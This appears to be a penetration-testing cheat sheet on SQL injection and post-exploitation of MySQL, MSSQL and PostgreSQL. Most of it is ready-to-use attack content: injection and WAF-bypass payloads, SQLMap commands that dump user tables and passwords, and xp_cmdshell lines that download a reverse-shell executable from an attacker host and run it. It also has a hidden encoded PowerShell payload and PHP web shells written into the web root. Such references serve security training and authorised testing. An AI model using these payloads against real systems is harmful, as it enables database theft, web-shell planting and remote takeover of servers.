SQL Injection & Database Attacks
SQL injection occurs when user-supplied input is included in a SQL query without proper sanitization, allowing an attacker to manipulate the query logic.
# Set environment variables
export TARGET=<ip>
export USER=<username>
export PASSWORD=<password>
export LHOST=<your-ip>
export LPORT=4444
Identifying SQL Injection
Manual Testing
Submit these payloads into input fields, URL parameters, cookies, and HTTP headers to test for SQLi:
'
"
' OR 1=1--
" OR 1=1--
' OR 1=1#
') OR 1=1--
1' ORDER BY 1--
1 UNION SELECT NULL--
' AND 1=1--
' AND 1=2--
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)#
If the application returns a different response (error, different content, or time delay) compared to normal input, SQLi is likely present.
Always test both single quotes and double quotes. Also test in less obvious places: search fields, sort parameters, hidden form fields, referrer headers, and cookie values.
Error-Based Detection
If the application returns SQL error messages, you can extract data through the errors themselves:
MySQL error extraction:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--
MSSQL error extraction:
' AND 1=CONVERT(int, (SELECT @@version))--
Determining the Database Type
Different databases use different syntax. Identify the backend based on error messages or behavior:
| Test | MySQL | MSSQL | PostgreSQL | Oracle |
|---|---|---|---|---|
| String concat | 'a' 'b' | 'a'+'b' | 'a'||'b' | 'a'||'b' |
| Comment | # or -- | -- | -- | -- |
| Sleep | SLEEP(5) | WAITFOR DELAY '0:0:5' | pg_sleep(5) | DBMS_LOCK.SLEEP(5) |
| Version | @@version | @@version | version() | SELECT banner FROM v$version |
UNION-Based Injection
UNION-based SQLi appends a second query to the original, allowing you to extract data from other tables. Requirements: you must know the number of columns in the original query, and the data types must be compatible.
Step 1 — Determine Column Count
Use ORDER BY to find how many columns the original query returns:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
Increase the number until you get an error. If ORDER BY 4 errors but ORDER BY 3 doesn't, the query has 3 columns.
Alternatively, use UNION SELECT NULL:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
The query succeeds when the number of NULLs matches the column count.
Step 2 — Find Displayed Columns
Determine which columns are rendered in the response:
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--
Whichever position shows a in the response is where you can extract data.
Step 3 — Extract Data
MySQL — list all databases:
' UNION SELECT schema_name,NULL,NULL FROM information_schema.schemata--
MySQL — list tables in a database:
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables WHERE table_schema='<database>'--
MySQL — list columns in a table:
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
MySQL — extract data:
' UNION SELECT username,password,NULL FROM users--
Concatenating Multiple Columns
If only one column is displayed, concatenate data:
MySQL:
' UNION SELECT CONCAT(username,':',password),NULL,NULL FROM users--
MSSQL:
' UNION SELECT username+':'+password,NULL,NULL FROM users--
PostgreSQL:
' UNION SELECT username||':'||password,NULL,NULL FROM users--
Blind SQL Injection
When the application doesn't display query results or errors, but behaves differently based on true/false conditions.
Boolean-Based Blind
The page content changes based on whether the injected condition is true or false:
-- Test: does the first character of the database name = 'a'?
' AND SUBSTRING(database(),1,1)='a'--
-- Iterate through characters
' AND SUBSTRING(database(),1,1)='b'--
' AND SUBSTRING(database(),1,1)='c'--
Extract data character by character. This is tedious manually — use SQLMap for automation.
Time-Based Blind
The page doesn't change visually, but you can detect true/false based on response time:
MySQL:
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)--
MSSQL:
'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'--
PostgreSQL:
'; SELECT CASE WHEN (SUBSTRING(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END--
SQLMap
Automated SQL injection detection and exploitation tool.
Basic Usage
Test a URL parameter:
sqlmap -u "http://$TARGET/page?id=1" --batch
Test a POST request (save the request from Burp to a file):
sqlmap -r request.txt --batch
Enumeration
List databases:
sqlmap -u "http://$TARGET/page?id=1" --dbs
List tables in a database:
sqlmap -u "http://$TARGET/page?id=1" -D <database> --tables
Dump a table:
sqlmap -u "http://$TARGET/page?id=1" -D <database> -T users --dump
Dump specific columns:
sqlmap -u "http://$TARGET/page?id=1" -D <database> -T users -C username,password --dump
OS Shell
If the database user has sufficient privileges, SQLMap can attempt to get an OS shell:
sqlmap -u "http://$TARGET/page?id=1" --os-shell
Useful Flags
| Flag | Purpose |
|---|---|
--batch | Use default answers (non-interactive) |
--level 5 | Maximum test level (tests headers, cookies) |
--risk 3 | Maximum risk (includes heavy time-based tests) |
--technique=U | Only use UNION-based technique |
--technique=T | Only use time-based blind |
--threads 10 | Speed up enumeration |
--tamper=space2comment | Apply tamper script for WAF bypass |
--proxy http://127.0.0.1:8080 | Route through Burp |
--forms | Automatically test HTML forms |
--crawl=2 | Crawl the site to find injection points |
SQLMap is very noisy. On a real engagement, prefer manual testing first and only use SQLMap for exploitation and data extraction once you've confirmed the injection point.
MSSQL Specific
Connecting
impacket-mssqlclient $USER:$PASSWORD@$TARGET -windows-auth
Enabling xp_cmdshell
If you have sysadmin-level access, enable command execution:
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Execute OS commands:
EXECUTE xp_cmdshell 'whoami';
MSSQL Enumeration
-- Version
SELECT @@version;
-- Current user
SELECT SYSTEM_USER;
SELECT USER_NAME();
-- Check if sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- List databases
SELECT name FROM sys.databases;
-- List tables
SELECT * FROM <database>.information_schema.tables;
-- Read a table
SELECT * FROM <database>.dbo.<table>;
-- List logins
SELECT name, type_desc FROM sys.server_principals;
-- Linked servers (for pivoting)
EXEC sp_linkedservers;
MSSQL File Read
Read files using OPENROWSET (requires BULK access):
SELECT * FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x;
MSSQL Reverse Shell
Use xp_cmdshell to download and execute a payload:
EXECUTE xp_cmdshell 'certutil -urlcache -f http://LHOST/reverse.exe C:\Users\Public\reverse.exe';
EXECUTE xp_cmdshell 'C:\Users\Public\reverse.exe';
PowerShell reverse shell via xp_cmdshell:
EXECUTE xp_cmdshell 'powershell -nop -w hidden -e <base64-payload>';
If xp_cmdshell is blocked but you have sysadmin, try sp_OACreate with OLE Automation Procedures, or use CLR assembly execution as alternatives.
MySQL Specific
Enumeration
-- Version
SELECT version();
-- Current user
SELECT user();
SELECT current_user();
-- List databases
SHOW databases;
-- List tables
USE <database>;
SHOW tables;
-- Privileges
SHOW GRANTS FOR current_user();
File Operations
Read a file (requires FILE privilege):
SELECT LOAD_FILE('/etc/passwd');
Write a file (requires FILE privilege and a writable directory):
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
secure_file_priv restricts file read/write to a specific directory. Check with SHOW VARIABLES LIKE 'secure_file_priv';. If it's empty, there are no restrictions. If set to a path, you can only read/write within that directory. If NULL, file operations are completely disabled.
PostgreSQL Specific
Enumeration
-- Version
SELECT version();
-- Current user
SELECT current_user;
-- List databases
\l
SELECT datname FROM pg_database;
-- List tables
\dt
SELECT tablename FROM pg_tables WHERE schemaname='public';
-- List columns
SELECT column_name FROM information_schema.columns WHERE table_name='<table>';
Command Execution
Using COPY (requires superuser):
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE cmd_exec;
File Read
CREATE TABLE file_content(content text);
COPY file_content FROM '/etc/passwd';
SELECT * FROM file_content;
File Write
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';
Common WAF Bypass Techniques
When a web application firewall blocks your injection attempts:
| Technique | Example |
|---|---|
| Case variation | SeLeCt, uNiOn |
| Inline comments | UN/**/ION SE/**/LECT |
| URL encoding | %27%20OR%201%3D1-- |
| Double URL encoding | %2527 for single quote |
| Whitespace alternatives | UNION%0aSELECT, UNION%09SELECT |
| No spaces | UNION(SELECT(1),(2)) |
| String concatenation | CONCAT(0x73,0x71,0x6c) instead of 'sql' |